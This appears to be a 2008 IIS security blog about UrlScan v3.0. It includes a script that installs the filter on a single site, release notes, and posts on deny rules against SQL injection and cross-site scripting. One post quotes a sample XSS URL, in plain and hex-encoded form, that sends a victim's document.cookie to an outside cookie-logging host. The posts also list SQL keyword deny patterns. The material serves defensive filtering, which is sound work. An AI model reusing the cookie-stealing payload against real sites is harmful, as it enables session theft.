Nazim's IIS Security Blog : UrlScan

Script to install UrlScan v3.0 as a site filter.

naziml — Tue, 14 Oct 2008 07:02:00 GMT

Although using WIX to create an MSI to do this task is a cleaner approach, it is too heavy duty for me. I do this often enough to warrant creating a script for it, so I though I would share it out.

To use it you would run: InstallUrlScanAtSite.js -siteid:1 [-dest:c:\foo]. You have to specify the site ID of the site you want it installed at. The 'dest' parameter will be the location where your urlscan.dll and urlscan.ini file will be copied to for use as the filter path. If you don't specify this, it will copy them to your site's ROOT vdir path.

// InstallUrlScatAtSite.js
//
// Install UrlScan 3.0 at a particular site.
//
// Author: Nazim Lala
//
// What it does:
//   1. By default copy urlscan.dll and urlscan.ini from 
//      system32\inetsrv\urlscan dir to root of site you want to install to.
//      Else use the value of Dest as the destination.
//   2. Install this copy of the dll as a site filter of that particular site.
//
// Assumptions:
//   1. You already have UrlScan 3.0 installed globally on the machine.
//   2. The script has access to write to your site's root directory or 
//      Dest
//

var szUsage;
var szSiteID;
var szDest;


var CRLF = "\r\n";

szUsage = "" +
    "Install UrlScan 3.0 as a site filter" + CRLF +
    CRLF +
    WScript.ScriptName + " [[-Parameter:Value]...]" + CRLF +
    CRLF +
    "Where:" + CRLF +
    "    Parameter  Value" + CRLF +
    "    ---------  -------------------------------------------" + CRLF +
    "    SiteID     Site ID # (Required)" + CRLF +
    "    Dest       Destination to copy urlscan.dll/.ini to" + 
    "(Default is Site root)" + CRLF +
    "";
    
if ( ParseCommandline() && ValidateArgs() )
{
    if ( !SetandCheckDestination() ) 
    {
        WScript.Quit( 1 );
    }
    if ( !CopyDllAndConfig() ) 
    {
        WScript.Quit( 2 );
    }
    if ( !AddFilter() )
    {
        WScript.Quit( 3 );
    }
    
}

function ParseCommandline()
{
    var exp = new RegExp( "-([^:]+):(.+)" );
    var args;

    for ( var i = 0; i < WScript.Arguments.length; i++ )
    {
        args = exp.exec( WScript.Arguments( i ) );
        if ( args == null )
        {
            WScript.Echo( "Invalid parameter " + WScript.Arguments( i ) )
            return false;
        }
        else
        {
            switch ( args[1].toLowerCase() )
            {
                case "siteid":
                    szSiteID = args[2];
                    break;
                case "dest":
                    szDest = TrimSlashes( args[2] );
                    break;
                default:
                    WScript.Echo( "Unknown parameter " + args[1] );
                    return false;
            }
        }
    }

    return true;
}

function ValidateArgs()
{
    if ( szSiteID == null )
    {
        WScript.Echo( "Missing Site ID." + szUsage);
        return false;
    }
    else return true;
}

function SetandCheckDestination()
{
    if ( szDest == null )
    {
        // Set destination to site root
        try
        {
            var objSite = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                szSiteID +"/ROOT" );
            szDest = objSite.Path;
        }
        catch ( e )
        {
            WScript.Echo( "Failed to acquire site's ROOT path. " +  
                FormatErrorString( e ) );
            return false;
        }
    }
    else
    {
        // Check if destination path exists. If not try to create it.
        try
        {
            var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
            if ( !objFSO.FolderExists( szDest ) )
            {
                objFSO.CreateFolder( szDest );
            }
        }
        catch ( e )
        {
            WScript.Echo( "Failed to create folder. " + 
                FormatErrorString( e ) );
            return false;
        }
    }

    return true;
}    

function CopyDllAndConfig()
{
    try
    {
        var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
        var WshShell = WScript.CreateObject( "WScript.Shell" );
        var objEnv = WshShell.Environment( "Process" );
        var szUrlScanDir = objEnv( "WINDIR" ) + 
            "\\system32\\inetsrv\\urlscan";
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.dll", 
            szDest+"\\urlscan.dll" );
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.ini", 
            szDest+"\\urlscan.ini" );
    }
    catch ( e )
    {
        WScript.Echo( "Failed to copy files." +
            FormatErrorString( e ) );
        return false;
    }
    return true;
}

function AddFilter()
{
    var objSiteFilters;
    var objUrlScanFilter;
    var szLoadOrder;
    
    try
    {
        objSiteFilters = GetObject("IIS://LOCALHOST/W3SVC/" + 
            szSiteID + "/FILTERS");
    }
    catch ( e )
    {
        //
        // Perhaps we don't have any filters.
        // Try to create it.
        //
        try
        {
            objSiteFilters = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                                    szSiteID ).Create( "IIsFilters",
                                                        "Filters" );
            objSiteFilters.SetInfo();
        }
        catch ( e2 )
        {
            //
            // Could not create the filters node. Quit.
            //
            WScript.Echo( "Failed to create filters node." + 
                FormatErrorString( e ) );
            return false;
        }
    }
    
    try
    {
        //
        // Create the actual Filters node and configure path.
        //
        objUrlScanFilter = objSiteFilters.Create( "IIsFilter", 
            "UrlScan 3.0" );
        objUrlScanFilter.FilterPath = szDest;
        objUrlScanFilter.SetInfo();
    }
    catch ( e )
    {
        if ( e.number == -2147024713 )
        {
            WScript.Echo( "UrlScan 3.0 Filter already exists." );
        }
        else
        {
            WScript.Echo( FormatErrorString( e ) );
        }

        return false;
    }
    
    try
    {
        //
        // Update FilterLoadOrder and append to beginning of list
        //
        szLoadOrder = objSiteFilters.FilterLoadOrder;
        
        if ( szLoadOrder == null )
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0";
        }
        else
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0,"+szLoadOrder;
        }
        objSiteFilters.SetInfo();
        
    }
    catch ( e )
    {
        WScript.Echo( "Failed to update filter load order: " + 
            FormatErrorString( e ) );
        return false;
    }
    
    return true;
}

function TrimSlashes( strInput )
{
    return strInput.replace( new RegExp( "^/+|/+$", "g" ), "" );
}

function Int32ToHRESULT( num ) 
{
    if ( num < 0 )
    {
        return "0x" + new Number( 0x100000000 + num ).toString( 16 );
    }
    else
    {
        return "0x" + num.toString( 16 );
    }
}


function FormatErrorString( objError )
{
    return "(" + Int32ToHRESULT( objError.number) + ")" + ": " +
           objError.description;
}

I haven't thoroughly tested it, so if you find any bugs, let me know. You can also easily modify this script to add it to ALL sites on the server if need be.

UrlScan v3.0 RTW Released

naziml — Tue, 19 Aug 2008 20:58:00 GMT

About 2 months ago we released the beta for UrlScan v3.0 to address customer concerns with automated SQL injection attacks and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.

UrlScan v3.0 RTW for x86

UrlScan v3.0 RTW for x64

You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.

Using UrlScan

UrlScan Setup

Common UrlScan Scenarios

UrlScan FAQs

Here is a summary of the feature additions to UrlScan v3.0 RTW

1) W3C formatted logging.

UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.

Date: Date of incoming request
Time: UTC time for incoming request
c-ip: Client IP address
s-siteid: SiteID for the site that processed the request
cs-method: Method (verb) of incoming request
cs-uri: URI of incoming request, including query string
x-action: Action performed by UrlScan. Either rejected or logged
x-reason: Reason for UrlScan check being triggered.
x-context: Portion of request this check is applicable to, e.g. URL, query string etc
cs-data: Data in the request that triggered the UrlScan check
x-control: UrlScan configuration data that caused the UrlScan check to trigger

2) Allow rules for URLs and query strings

UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.

Here is the link to my blog when UrlScan v3.0 Beta was release

Using the new rules configuration in UrlScan v3.0 Beta (Part 2)

naziml — Mon, 30 Jun 2008 20:41:00 GMT

Dissecting the SQL injection sample in the walkthrough

I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that SQL injection is a web application issue, and hence the right place to fix it is in the web application. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.

[SQL Injection]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.

The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).

[SQL Injection Headers]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.

Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog here.

UrlScan v3.0 filtering based on Request Entity

naziml — Mon, 30 Jun 2008 20:21:00 GMT

While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there. In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad. Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".

But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting.

Please feel free to send your thoughts/comments ... happy filtering !!

Using the new rules configuration in UrlScan v3.0 Beta (Part 1)

naziml — Tue, 24 Jun 2008 19:51:00 GMT

If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it.

I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the walkthrough for the Beta.

Cross site scripting

There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS here and iDefense has a decent whitepaper here. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good.

Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

The pattern that should jump out at you is the <script> tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like < script > ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:

[DenyQueryStringSequences]

Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '<' or the '>' character on the query string. Along with the above section, the default configuration also has the following set:

[Options]

UnescapeQueryString=1

What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.

Read the next post in the series and watch me dissect the sample SQL injection rule in the walkthrough posted.